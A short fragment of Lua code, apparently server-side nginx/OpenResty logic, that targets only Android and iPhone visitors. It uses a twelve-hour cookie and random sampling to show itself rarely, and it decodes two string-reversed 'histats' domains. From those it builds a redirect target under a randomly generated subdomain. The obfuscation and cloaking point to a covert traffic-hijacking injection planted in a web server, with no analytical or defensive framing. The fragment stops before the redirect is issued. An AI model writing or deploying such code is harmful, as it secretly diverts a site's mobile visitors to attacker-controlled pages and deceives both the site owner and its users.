local is_android = ua_lc:find("android") local is_iphone = ua_lc:find("iphone")
if not (is_android or is_iphone) then return end
if K:find("k=" .. S) then return end
ngx.header["Set-Cookie"] = "k=" .. S .. ";Path=/;Max-Age=43200"
if is_iphone and math.random() >= 0.3 then return end
local R1 = "lmth.naim/piv.statsih//:sptth" local R2 = "lmth.naim/pot.statsih//:sptth"
local function rev(s) return s and string.reverse(s) or "" end local D1 = rev(R1) local D2 = rev(R2)
local function strip_proto(full) return full:gsub("^https?://", "") end
local H1 = strip_proto(D1) local H2 = strip_proto(D2)
local alpha = "abcdefghijklmnopqrstuvwxyz0123456789" local function rand_pref(len) local t = {} for i = 1, len do local idx = math.random(1, #alpha) t[i] = alpha:sub(idx, idx) end return table.concat(t) end
local pool = {H1, H2} local pick = pool[math.random(1, #pool)] or H1 local pref = rand_pref(math.random(3, 7)) local target = "https://" .. pref .. "." .. pick